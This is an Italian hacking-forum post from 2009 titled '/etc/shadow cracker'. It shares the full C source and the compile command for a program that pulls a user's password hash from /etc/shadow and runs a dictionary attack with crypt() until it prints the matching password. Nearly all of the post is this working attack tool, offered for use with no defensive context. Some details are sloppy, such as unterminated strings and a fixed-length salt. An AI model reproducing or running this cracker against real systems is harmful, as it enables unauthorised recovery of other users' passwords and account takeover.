admin Founder


Registrato: Oct 03, 2008 Messaggi: 261
|
Inviato: Mer Apr 15, 2009 12:02 am Oggetto: [C] /etc/shadow cracker |
|
|
Semplice programma in C che effettua un attacco dizionario sull'hash di un user presente in /etc/shadow..
| Codice: | | gcc -o cracker cracker.c -lcrypt |
| Codice: | /**********************************************************
* *
* Program: /etc/shadow cracker *
* Author: darkjoker *
* Site: http://darkjokerside.altervista.org *
* Compile: gcc -o cracker cracker.c -lcrypt *
* *
* Small program that try a dictionary attack *
* on /etc/shadow file, to find an user's password *
* It needs root's privilege, so you can run it only *
* if you are root (or if you are using a live distro). *
* *
**********************************************************/
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define SHADOW "/etc/shadow"
int main (int argc, char *argv [])
{
if (argc != 3)
{
fprintf (stderr, "Usage: %s <username> <dictionary file>\n", argv [0]);
return -1;
}
setreuid (0, 0);
FILE *shadow, *dic;
shadow = fopen (SHADOW, "r");
dic = fopen (argv [2], "r");
if ((!shadow) || (!dic))
{
fprintf (stderr, "Error during file managing.\n");
return -1;
}
char *hash, *salt, line [100];
int c, l, p = 1;
salt = (char*) malloc (12*sizeof (char*));
// Get password's hash
while (!feof (shadow))
{
fgets (line, sizeof (line), shadow);
if (!strncmp (line, argv [1], strlen (argv [1])))
{
l = strlen (argv [1]) + 1;
c = 0;
hash = (char*) malloc (p*sizeof (char*));
while (line [l] != ':')
{
p++;
hash = (char*) realloc (hash, p*sizeof (char*));
hash [c] = line [l];
c++;
l++;
}
}
}
strncpy (salt, hash, 12);
fclose (shadow);
// Start dictionary attack
while (!feof (dic))
{
fgets (line, sizeof (line), dic);
line [strlen (line) -1] = '\x00';
// Hash all file's words and compare it with /etc/shadow's hash
if (!strcmp (hash, (char*) crypt (line, salt)))
{
// Password found :-)
printf ("Password: %s\n", line);
fclose (dic);
free (hash);
free (salt);
return 0;
}
}
fclose (dic);
free (hash);
free (salt);
return 0;
} |
^^
darkjoker |
|